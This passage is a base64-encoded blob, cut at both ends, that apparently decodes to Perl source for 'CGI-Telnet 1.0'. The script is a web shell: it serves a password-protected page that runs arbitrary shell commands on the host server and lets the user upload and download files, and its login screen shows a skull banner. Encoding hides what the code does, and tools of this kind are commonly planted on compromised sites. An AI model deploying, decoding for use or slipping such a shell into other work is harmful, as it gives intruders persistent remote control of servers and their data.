gc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBi